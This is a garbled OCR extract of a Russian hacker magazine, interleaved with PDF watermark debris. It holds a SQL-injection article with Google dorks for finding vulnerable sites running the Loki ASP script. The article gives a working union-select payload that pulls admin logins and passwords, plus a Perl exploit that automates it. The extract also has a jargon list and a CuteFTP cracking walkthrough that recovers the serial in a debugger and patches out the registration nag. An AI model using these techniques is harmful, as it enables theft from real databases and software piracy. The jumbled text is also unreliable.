книги хакеры / журнал хакер / 079_Optimized

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

w

o

.

g

.c

p

df

n

e

-xcha

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

w

o

.

.c

p

g

df

n

e

-x cha

[список уязвимых ресурсов]

[создание сплойта в редакторе ee]

ную на ASP — ведь тему PHP-сценариев мы

более демократичное inurl:”catinfo.asp?cat=” и тебе сразу покажутся несколько стра-

уже обмусолили, а ASP еще толком не ломали.

ниц с найденными сайтами, среди которых, как я заметил, почти все бажные.

Хотя ты сейчас увидишь, что взламывать ASPНу что же, мы нашли бажный ресурс и теперь настало время попробовать жука в

программы ничуть не сложнее, более того, мы

действии. По неизвестной нам пока причине приведенный в описании пример оказался

даже почти не столкнемся со спецификой :).

нерабочим — вываливалось ошибок 500 и было понятно, что приложение пытается вы-

сический SQL-injection, который позволяет

предложении число выбираемых полей было таким же, как и в оригинальном. Пробле-

утащить любую информацию из БД. Чтобы

ма в том, что кода программы у нас перед глазами нет, и решить эту проблему можно

ле запрос inurl:downmancv/catinfo.asp и

ка, будем увеличивать число полей на единицу до тех пор, пока ошибка не перестанет

мне выдался какой-то таиландский ре-

появляться. Стоит ли говорить, что эту задачу очень легко автоматизировать — и мы сде-

сурс, который на проверку сразу же окалаем это в процессе создания универсального сплоита для Loki.

зался уязвимым. Не следует думать, что

Но вернемся к таиландскому ресурсу. Методом ручного подбора я пришел к тому, что

система Loki настолько ущербна, что стоит

лучше всего реализовывать SQL-injection следующим образом:

на единственном сервере в интернете, это

не так. Стоит только изменить запрос на

catinfo.asp?cat=' union select 1,pass,user,1,1,1,1,1,1,1,1,1,1 from tblAdm

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

Как легкоo

видеть, внедряемый запрос выбирает 13 полей, при

w

.

.c

p

g

df

e

n

этом оригинальный запрос не возвращает записей, а вводимое

-xcha

[пишем сплоит] Ну, вот мы и пришли к самому интересному — сей-

час напишем сплоит для Loki :). Под «сплоитом» я понимаю прог-

рамму, которая возьмет на себя всю механическую работу по

взлому сервера: ей нужно лишь передать адрес ресурса и путь к

уязвимому скрипту. Она сама проведет SQL-injection, вытащит ло-

гин с паролем из потока вывода и покажет его пользователю. Пер-

вый вопрос, который должен у тебя возникнуть, — на каком языке

мы будем писать? Ответ прост, как два байта: на Perl’е, потому что

это быстро и удобно. Вообще, работа подобных сплойтов делит-

ся на несколько основных этапов:

1 получение определяемых пользователем параметров

2 соединение с указанным узлом

3 составление и отправка HTTP-запроса

4 обработка возвращаемой информации.

В нашем случае, поскольку нам сначала необходимо составить

корректный SQL-запрос, пункты 2—4 будут выполняться многократ-

но. Первый запрос, который мы отправляем, выбирает из таблицы

]

10 полей (начинать перебор с 1 поля нет смысла). Если при его вы-

060

полнении возникает ошибка (число колонок в оригинальном зап-

росе другое), мы добавляем еще одно поле к нашему запросу.

ВЗЛОМ

И так до тех пор, пока запрос не выполнится корректно.

Если ты внимательно читаешь, у тебя должен был появиться вопрос:

каким образом можно понять, выполнился ли корректно наш зап-

рос, или же произошла ошибка. Очень легко! Если ты посмотришь

код сплоита, который находится чуть ниже, то увидишь там строку,

где я проверяю, есть ли в ответе сервера набор символов Internal

Server Error. Если эта строка присутствует, считается, что запрос не

выполнен, и надо увеличивать число выбираемых полей.

Справедлив вопрос: а во всех ли случаях при возникновении ошиб-

ки web-сервер выплевывает именно эту фразу? Справедливый от-

вет: нет, это зависит от установленного web-сервера и версии ASP.

Так, модница ASP .NET ругается по-новому: «Database Engine error»

— это предложение так же обрабатывается моим сплоитом.

[наш нехитрый сплоит]

#!/usr/bin/perl

use IO::Socket;

$host = $ARGV[0];

$path = $ARGV[1];

$port=80;

$se="error_occ";

$i=0;

while($se=~/error_occ/) {

socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

$iaddr = inet_aton($host);

$paddr = sockaddr_in($port, $iaddr);

connect(SOCK, $paddr);

$quest="GET

$path/catinfo.asp?cat='%20union%20select%201,pass,user,1,1,1

,1,1,1,1";

for($j=0; $j<$i;$j++) {

$quest.=",1";

}

$quest.="%20from%20tblAdm";

$quest.=" HTTP/1.1\n";

>

$quest.="Host: $host\n\n\r\n\n";

05

send (SOCK, $quest, 0);

07 [79]

$se="no_error";

while($data=<SOCK>) {

[XÀÊÅÐ

if ($data=~/Internal Server Error/ or $data=~/Database Engine

error/) {

$se="error_occ";}}

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

w

o

.

.c

p

g

df

n

e

-x cha

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

w Click

to

BUY

m

w

w

o

.

.c

p

g

df

n

e

-xcha

hang

e

C

E

X

-

d

F

t

D

i

r

P

o

СЕРВИС

w Click

to

BUY

NOW!

m

w

w

o

.

.c

p

g

df

n

e

-x cha

драйвер

(код w0001)

компилятор

(код w0002)

дескриптор

(код w0003)

хэш

(код w0004)

индекс

(код w0005)

буфер

(код w0006)

сокет

(код w0007)

идентификатор

(код w0008)

скрипт

(код w0009)

интерфейс

(код w0010)

терминал

(код w0011)

библиотека

(код w0012)

транзакция

(код w0013)

архитектура

(код w0014)

трассировка

(код w0015)

дистрибутив

(код w0016)

утилита

(код w0017)

брандмауэр

(код w0018)

хост

(код w0019)

подсеть

(код w0020)

демон

(код w0021)

эксплойт

(код w0022)

хостинг

(код w0023)

сервис пак

(код w0023)

файрвол

(код w0025)

брутфорсер

(код w0026)

тэг

(код w0027)

парсер

(код w0028)

инициализация

(код w0029)

кодировка

(код w0030)

визуализация

(код w0038)

снифер

(код w0040)

кейлоггер

(код w0041)

троян

(код w0042)

отладчик

(код w0043)

эмулятор

(код w0044)

хук

(код w0045)

пиринг

(код w0047)

хаб

(код w0048)

фтп

(код w0049)

маппинг

(код w0050)

роутер

(код w0051)

прокси

(код w0052)

редирект

(код w0053)

слот

(код w0054)

ник

(код w0055)

биос

(код w0056)

оболочка

(код w0057)

ядро

(код w0058)

юстировка

(код w0059)

конвертер

(код w0060)

коаксиал

(код w0061)

транспондер

(код w0062)

поляризация

(код w0063)

патч

(код w0064)

азимут

(код w0065)

кодек

(код w0066)

граббинг

(код w0067)

мультифид

(код w0068)

бод

(код w0069)

пиксел

(код w0070)

модератор

(код w0071)

флейм

(код w0072)

кряк

(код w0073)

варез

(код w0074)

сплиттер

(код w0075)

маршрутизация

(код w0077)

шина

(код w0078)

интерпретатор

(код w0079)

окружение

(код w0080)

кластер

(код w0081)

степпинг

(код w0088)

трафик

(код w0089)

транслятор

(код w0092)

верификатор

(код w0093)

спам

(код w0094)

офшор

(код w0095)

крякер

(код w0096)

бета

(код w0097)

скин

(код w0098)

сертификация

(код w0099)

аутсорсинг

(код w0100)

баннер

(код w0101)

локализация

(код w0102)

тестер

(код w0103)

дамп

(код w0104)

стек

(код w0105)

исключение

(код w0106)

мидлет

(код w0107)

обфускатор

(код w0108)

документация

(код w0109)

поток

(код w0110)

хэширование

(код w0111)

браузер

(код w0113)

инсталятор

(код w0114)

реестр

(код w0115)

аккаунт

(код w0116)

домен

(код w0117)

девелопер

(код w0118)

флуд

(код w0119)

пиктограмма

(код w0120)

архиватор

(код w0121)

экспозиция

(код w0128)

стробоскоп

(код w0129)

бинарник

(код w0130)

баг

(код w0131)

шлюз

(код w0132)

шелл

(код w0133)

блог

(код w0134)

бэкап

(код w0135)

декодирование

(код w0136)

локалка

(код w0137)

бэкдор

(код w0138)

хомпага

(код w0139)

сессия

(код w0140)

авторизация

(код w0141)

топик

(код w0142)

профиль

(код w0143)

сегмент

(код w0144)

листинг

(код w0145)

алиас

(код w0146)

свитч

(код w0147)

спуфинг

(код w0148)

фрикинг

(код w0149)

крэкинг

(код w0150)

сиквел

(код w0151)

ретранслятор

(код w0152)

коммутатор

(код w0153)

аттач

(код w0154)

плагин

(код w0155)

регистр

(код w0156)

протокол

(код w0076)

свой

логотип!

Пришли

.ru

.xakep

real

sms@

termini (например “98 баг”). Не более

ь

символов латиницей или 70 кириллицей.

ноприсылат

ож

М

свои

термины

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

НЬЮСЫ

w

o

.

.c

p

g

df

n

e

-xcha

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

w

o

.

.c

FTP

g

p

df

n

e

-x cha

[кто такие крякеры?] Прежде всего,

Жаргона Э.С. Раймонда: «A mali-

систему защиты и производит после-

хочу развеять мифы о крякерах. Во

cious meddler who tries to discover

дующую нейтрализацию, «указывая»

многих книгах о хакерах пишут, что

sensitive information by poking around.

на ошибки разработчикам. Во-вто-

крякер — это не кто иной, как «пло-

Hence 'password hacker', 'network

рых, крякеры не продают своих «тво-

хой» хакер, ворующий какую-либо

hacker'. The correct term is {cracker}».

рений». Конечно, есть так называе-

информацию в корыстных целях и т.п.

Во-первых, крякер ничего не ворует.

мые «коммерческие заказы», но сог-

Наверное, опираясь на Словарь

Это не его профиль. Он исследует

лашаться на них или нет, каждый ре-

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

срок? Требуется ли регистрация серийника на сервере произ-

o

w

.

.c

p

g

df

n

e

водителя? Ответы на все эти вопросы нужно получить для успеш-

-x cha

Окей, теперь можно приступать к главному. Запускаем IDA, гру-

зим в нее cuteftp.exe (File -> Open file), и, пока она бегает по коду,

мы поработаем в дебаггере. Запускаем cuteftp, нажимаем Enter

Serial Number. В следующем окошке видим бокс, куда и вводим

любую строку, взятую от балды. Жмем Next, и нам говорят, что се-

рийник не подходит. Ну что же, попытаемся убедить программу в

обратном :).

Нажимаем OK, запускаем Ольку. Лезем в меню File -> Attach: по-

явится список запущенных процессов, среди которых требуется

найти cuteftp и два раза кликнуть по нему. Софтина будет пере-

ведена в режим паузы, и, чтобы продолжить ее выполнение, не-

обходимо нажать F9.

В поставке с Олькой есть плагин Command line — некое подобие

командной строки в SoftIce. Запустить его можно нажав Alt+F1. Ес-

ли следовать классическим представлениям о крякинге, то сей-

час надо установить точку останова (далее — бряк, от слова

]

breakpoint) на вызов окошка об ошибке или на чтение текста из

063

бокса. Но мы пойдем другим путем: поставим брейк на WinAPI-

функцию чтения текста из окна GetWindowTextA, что можно сде-

ВЗЛОМ

лать командой bp GetWindowTextA. Если ты постоянный читатель

рубрики «Кодинг», у тебя наверняка есть MSDN, загляни туда, что-

бы получить информацию об API-функциях Windows.

Плагин Command Line поддерживает множество команд, узнать

о которых можно набрав help. Я же выделю самые нужные:

[XÀÊÅÐ 07 [79] 05 >

[аттачим CuteFTP к Olly]

hang

e

C

E

X

-

d

F

i

t

P

D

o

NOW!

r

BUY

to

w

w Click

o

m

равна нулю, мы прыгаем на

w

.

.c

p

df

e

-xc

g

n

0046eab2 и ползем дальше. Call

ha

00527793 загружает строку из

ресурсов (если покопаться

[командная строка в Olly]

внутри, можно заметить вызов

LoadStringA). Далее в call

005098b3 эта строка сравнивается с нашим серийником, и если

mov

[esp+3Ch+var_10], 0

call

sub_472560

lea

edx, [esp+3Ch+var_20]

push

0Eh

; size_t

lea

eax, [esp+40h+var_10]

push

edx

; char *

push

eax

; char *

call

__strnicmp

add

esp, 20h

test

eax, eax

pop

esi

jnz

short loc_476C8B

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

w

o

.

.c

p

g

df

n

e

-x cha

if lstrlen('ахинея')==14 .. :)

Сейчас самое время развернуть IDA и попутно заглядывать в нее.

mov

edx, [esp+20h+arg_4]

Чтобы перейти на какой-нибудь адрес в IDA, нужно нажать G. До

push

edi

вызова call __strupr наш серийник копируется в буфер, а потом

mov

edi, edx

посредством __strupr все символы переводятся в верхний ре-

or

ecx, 0FFFFFFFFh

гистр. Далее заходим в sub_4726e0:

xor

eax, eax

mov

[esp+24h+var_12], 0

if serial[0] == 'A'

repne scasb

mov

edi, [esp+arg_0]

not

ecx

xor

esi, esi

dec

ecx

cmp

byte ptr [edi], 41h

mov

[esp+24h+var_2], 0

jz

short loc_4726F2

cmp

ecx, 0Eh

pop

edi

jnz

loc_476C99

xor

eax, eax

pop

esi

В самом начале длина серийника вычисляется и сравнивается

retn

с 0E (14 в десятичной системе). Нажимаем Ctrl+F9, ставим бряк

на вызов функции: bp 0046eaf5 и пускаем прогу, нажав F9. Есте-

Тут с самого начала проверяется первый символ серийника, и он

ственно, выскакивает ошибка: мы ввели строку длиной больше

должен быть равен "A" (0x41). Удаляем старый бряк bc 0046eaf5 и

14-ти символов. Теперь вводим 14-байтную ахинею, жмем Next

ставим новый bp 00476c44. Пускаем прогу, нажимая F9, меняем

и останавливаемся в Ольке на бряке. Заходим в функцию —

serial, чтобы первый символ был "A", и жмем Next. Далее в

серийник теперь ровно в 14 символов, так что проверку длины

sub_4723d0 идут всяческие преобразования серийника, а вот в

проходим без проблем и идем дальше.

sub_472560 из всего этого генерится правильный код, который за-

тем сравнивается в __strnicmp. Таким образом, дойдя до 00476c6e

[проверка введенного серийника]

и введя команду d eax, мы увидим в окне дампа правильный номер

:). Сравнение правильного и неправильного серийников в откры-

mov

eax, [edx]

том виде — это самая распространенная ошибка кодеров.

mov

ecx, [edx+4]

Тут, казалось бы, надо остановиться и написать кейген, но давай

mov

dword ptr [esp+24h+var_20], eax

посмотрим, что будет дальше. Запоминаем правильный serial, ко-

mov

eax, [edx+8]

торый для тебя был сгенерирован «заботливым» кодером. Пуска-

mov

[esp+24h+var_1C], ecx

ем прогу по F9, вводим новые данные, жмем Next. Ах да, сработа-

mov

cx, [edx+0Ch]

ет установленный бряк. Сотрем его командой bс 00476c44 и опять

lea

edx, [esp+24h+var_20]

нажмем F9. О чудо! Программа приняла номер, однако радо-

push

esi

ваться еще рано. Софтина просит ввести инфу для верификации

push

edx

; char *

серийника. Оставь все как есть и жми Next. Тут происходит самое

mov

[esp+2Ch+var_18], eax

неприятное: программа начинает стучаться на сервер dbregis-

mov

[esp+2Ch+var_14], cx

tration.globalscape.com, чтобы проверить введенный код. Ну что

call

__strupr

же, позволим ей подключиться к серверу и выполнить верифика-

lea

eax, [esp+2Ch+var_20]

цию серийного номера. Разумеется, наш serial не будет принят

push

eax

системой и возникнет уже знакомая ошибка, а программа поп-

call

sub_4726E0

росит ввести другой номер. Не беда, сейчас это исправим!

mov

esi, eax

Конечно, тут можно поставить http-сервер с php, написать несколь-

push

esi

ко строк в ответ на запрос проги и обмануть ее. Но автор предус-

call

sub_4723D0

мотрел это: запрос передается в зашифрованном виде, и разгля-

lea

ecx, [esp+34h+var_10]

деть, каким образом он составляется, не так уж просто. Конечно,

mov

edi, eax

можно вычислить алгоритм шифрования и реализовать этот прием,

push

ecx

но мы с тобой оставим эту экзотику для любителей и пойдем строго

push

esi

прямо, потому что иногда это единственный логический выход :).

Отрубим наглый наг. Запустим Пексплорер, откро-

åì â íåì default.lng. Ýòîò ôàéë — íå ÷òî èíîå, êàê

обычная dll'ка с ресурсами, откуда программа гру-

зит все нужные строки и диалоги, в том числе наг.

Загрузили, жмем Ctrl+R, переходим в папочку

Dialog, запускаем поиск Ctrl+F, вводим «Enter Serial

Number» и, запустив поиск, выпадаем прямо в наг.

Запоминаем номер диалога, а именно 396. Для

дальнейшего использования его надо перевести в

шестнадцатеричную систему счисления. Для этого

мы воспользуемся встроенным в винду калькулято-

ром: запускаем calc.exe, вбиваем число 396 и пос-

ле нажатия F5 получаем результат: 018С.

Теперь запустим Хью и откроем в нем cuteftp.exe. Пе-

реходим в режим дизассемблера: Enter два раза, за-

тем F7 столько же раз — запустится поиск ассемблер-

[IDA собственной персоной]

ного кода по маске, вводим «*018c». Находит что-то по

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to